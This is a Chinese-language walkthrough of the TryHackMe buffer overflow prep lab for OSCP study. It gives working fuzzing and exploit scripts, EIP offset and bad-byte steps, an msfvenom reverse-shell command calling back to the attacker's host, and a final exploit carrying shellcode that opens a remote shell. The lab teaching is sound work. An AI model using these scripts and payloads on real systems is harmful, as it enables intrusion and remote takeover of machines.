前言
什么是缓冲区溢出
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量，溢出的数据覆盖在合法数据上。理想的情况是：程序会检查数据长度，而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配，这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区，又被称为“堆栈”，在各个操作进程之间，指令会被临时储存在“堆栈”当中，“堆栈”也会出现缓冲区溢出。
--- 百度百科
关于这个房间
tryhackme的这个房间专门为备考OSCP的同学学习缓冲区溢出使用，靶机环境是一台win7 32位的机器。
地址在此：https://tryhackme.com/room/bufferoverflowprep
学习BOF一般需要略为了解汇编语言，但是这个房间并不会涉及到太多汇编知识，只需要关注EIP（The Instruction Pointer）和ESP（The Stack Pointer）两个指针。EIP是BOF中最重要的指针，它指向程序下一步的执行，本质上控制程序的流程。在缓冲区溢出漏洞中，通过EIP指向shellcode，执行攻击代码。ESP通过存储指向堆栈的指针来“跟踪”堆栈上最近引用的位置(堆栈顶部)。
正文
连接远程桌面
在kali中连接靶机的远程桌面，执行
xfreerdp /u:admin /p:password /cert:ignore /v:10.10.61.138 /workarea
如果成功开启了一个远程桌面，说明连接成功：
网络连接选择Home network
右键点击Immunity Debugger，选择点击run as administrator
此时我们会打开Immunity Debugger的主界面
点击file->open（或者f3），在Desktop/vulertable-apps/oscp/目录下，选择oscp.exe程序打开
此时我们会打开一个主界面如下图，点击红色的播放按钮运行程序：
注意，在后面的实验中，上面启动的操作会反复执行，因为我们需要不断令程序崩溃来测试我们的缓冲区溢出攻击。
在这个位置输入：
!mona config -set workingfolder c:\mona\%p命令做简单配置
回到kali
在kali中新开一个shell，执行：
nc 10.10.61.138 1337
此时靶机弹出欢迎信息
在命令行中输入HELP，弹出任务目录：
继续输入 ：OVERFLOW1 test
靶机返回OVERFLOW1 COMPLETE，此时我们ctrl+c退出交互界面
Fuzzing
现在，准备好我们的第一个脚本fuzzer.py来模糊测试到底在多少个字节内会崩溃，我们的脚本逻辑是发送100个A字符，往后每次再递增100个，直到程序崩溃为止，代码如下：
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.61.138"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
执行上面的脚本，观察最大字节数：
可以看到，在发送2000个字节时，靶机程序崩溃了。
计算EIP位置
此时我们生成一段不重复字节，长度比Fuzzing出来令到靶机程序崩溃的字节数略长一点，我们在这里选择2200个字节，执行：
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2200
准备好我们的第二个脚本exploit.py，把上面生成的字节码copy到变量payload中：
#coding=utf-8
#!/usr/bin/python
#这里主要是为了定位EIP的内存地址
import socket
ip = "10.10.61.138"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
在Immunity Debugger中重启oscp.exe程序，然后执行上面的exploit.py
观察Immunity Debugger中EIP的值：6F43396E
现在我们有两种方法计算出EIP的偏移量。
1，执行msf-pattern_offset -q 6F43396E
得出偏移量值为：1978
2，在Immunity Debugge中，执行!mona findmsp -distance 2200
找到EIP contains normal pattern的值，同样也是1978
查找坏字节
我们在Immunity Debugger中输入：!mona bytearray -b "\x00"
0x00在C/C++语言中表示终止，所以是一个很普遍的坏字节，在上面我们首先把它排除掉。
我们用下面的bytearray.py脚本生成所有字节码：
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
执行：
此时我们准备第二个攻击脚本exploit2.py，把上面生成的字节码粘贴到payload变量
import socket
ip = "10.10.61.138"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
同时，我们把偏移量1978赋值到offset变量，把"BBBB"赋值到retn变量，重启oscp.exe，执行上面的脚本
回到Immunity Debugger
我们可以查看到EIP的值，此时已经变成了42424242，42在ASCII里就是大写的B，也就是我们上面的exploit.py里面retn的值，此时已证明可以覆盖到EIP。
另外，记住这里ESP的值是：0181FA30
我们执行!mona compare -f C:\mona\oscp\bytearray.bin -a 0181FA30
得到一个可能的坏字节的序列:
POSSIBLY BAD CHARS:07,08,2e,2f,a0,a1
在这里我们需要不停的修改exploit2.py，把可能的坏字节从payload中删掉，反复测试这个过程，直到没有坏字节为止。
比如在排查\x07这个字节是否为坏字节的时候，我们需要：
1，执行：!mona bytearray -b "\x00\x07"
2，把\x07从exploit2.py中删除
3，重启oscp.exe
4，执行exploit2.py
5，找到ESP的值，执行!mona compare -f C:\mona\oscp\bytearray.bin -a （ESP的值，不包括左右括号）
但是在做完整个实验以后，我发现当得出坏字节序列的时候，一般都是奇数位的字节为坏字节。
比如：07,08,2e,2f,a0,a1 这个序列
坏字节是：07,2e,a0
加上普遍的坏字节00，所以OVERFLOW1的坏字节序列应该是：\x00\x07\x2e\xa0
我们执行：!mona bytearray -b "\x00\x07\x2e\xa0"
把坏字节从exploit2.py中删除
#coding=utf-8
#!/usr/bin/python
import socket
ip = "10.10.61.138"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
重启oscp.exe，执行exploit2.py
ESP 019BFA30
执行：!mona compare -f C:\mona\oscp\bytearray.bin -a 019BFA30
如果一切如上显示，表明所有坏字节已经被我们排除。
找到可以利用的ESP地址
我们再根据所有坏字节，输入命令!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
查找到可以利用的指向shellcode的静态地址:
有9个可以利用的地址，我们就用第一个：625011AF
需要注意的是这个地址需要从后面往回写，即：\xaf\x11\x50\x62
利用msfvenom ，我们生成攻击的shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.17.9.218 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
把生成的shellcode放到我们最后一个攻击脚本exploit3.py中
import socket
ip = "10.10.107.8"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
buf = ""
buf+="\xbd\x1b\x90\x6d\x5c\xdd\xc1\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
buf+="\x52\x83\xc2\x04\x31\x6a\x0e\x03\x71\x9e\x8f\xa9\x79\x76\xcd"
buf+="\x52\x81\x87\xb2\xdb\x64\xb6\xf2\xb8\xed\xe9\xc2\xcb\xa3\x05"
buf+="\xa8\x9e\x57\x9d\xdc\x36\x58\x16\x6a\x61\x57\xa7\xc7\x51\xf6"
buf+="\x2b\x1a\x86\xd8\x12\xd5\xdb\x19\x52\x08\x11\x4b\x0b\x46\x84"
buf+="\x7b\x38\x12\x15\xf0\x72\xb2\x1d\xe5\xc3\xb5\x0c\xb8\x58\xec"
buf+="\x8e\x3b\x8c\x84\x86\x23\xd1\xa1\x51\xd8\x21\x5d\x60\x08\x78"
buf+="\x9e\xcf\x75\xb4\x6d\x11\xb2\x73\x8e\x64\xca\x87\x33\x7f\x09"
buf+="\xf5\xef\x0a\x89\x5d\x7b\xac\x75\x5f\xa8\x2b\xfe\x53\x05\x3f"
buf+="\x58\x70\x98\xec\xd3\x8c\x11\x13\x33\x05\x61\x30\x97\x4d\x31"
buf+="\x59\x8e\x2b\x94\x66\xd0\x93\x49\xc3\x9b\x3e\x9d\x7e\xc6\x56"
buf+="\x52\xb3\xf8\xa6\xfc\xc4\x8b\x94\xa3\x7e\x03\x95\x2c\x59\xd4"
buf+="\xda\x06\x1d\x4a\x25\xa9\x5e\x43\xe2\xfd\x0e\xfb\xc3\x7d\xc5"
buf+="\xfb\xec\xab\x4a\xab\x42\x04\x2b\x1b\x23\xf4\xc3\x71\xac\x2b"
buf+="\xf3\x7a\x66\x44\x9e\x81\xe1\x61\x4e\x80\x2b\x1d\x72\x92\xda"
buf+="\x82\xfb\x74\xb6\x2a\xaa\x2f\x2f\xd2\xf7\xbb\xce\x1b\x22\xc6"
buf+="\xd1\x90\xc1\x37\x9f\x50\xaf\x2b\x48\x91\xfa\x11\xdf\xae\xd0"
buf+="\x3d\x83\x3d\xbf\xbd\xca\x5d\x68\xea\x9b\x90\x61\x7e\x36\x8a"
buf+="\xdb\x9c\xcb\x4a\x23\x24\x10\xaf\xaa\xa5\xd5\x8b\x88\xb5\x23"
buf+="\x13\x95\xe1\xfb\x42\x43\x5f\xba\x3c\x25\x09\x14\x92\xef\xdd"
buf+="\xe1\xd8\x2f\x9b\xed\x34\xc6\x43\x5f\xe1\x9f\x7c\x50\x65\x28"
buf+="\x05\x8c\x15\xd7\xdc\x14\x35\x3a\xf4\x60\xde\xe3\x9d\xc8\x83"
buf+="\x13\x48\x0e\xba\x97\x78\xef\x39\x87\x09\xea\x06\x0f\xe2\x86"
buf+="\x17\xfa\x04\x34\x17\x2f";
payload = buf
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
我们先在kali另外开一个新窗口，开启监听：nc -lvp 4444
重启oscp.exe，执行exploit3.py
成功拿到反弹shell：
结尾
这个房间共有10个实验，每个实验其实都大同小异，步骤无非都是：控制EIP->查找坏字节->找到可以利用的ESP地址->生成shellcode->攻击->反弹shell
俗话说孰能生巧，我从最开始对BOF一头雾水，在做完这10个实验后开始对BOF有了些直观的感觉，这个过程非常感谢tryhackme的这些实验。我从一个初学者的角度写下了这篇walkthrough，如果你也在学习BOF，希望这篇东西对你会有一点点帮助。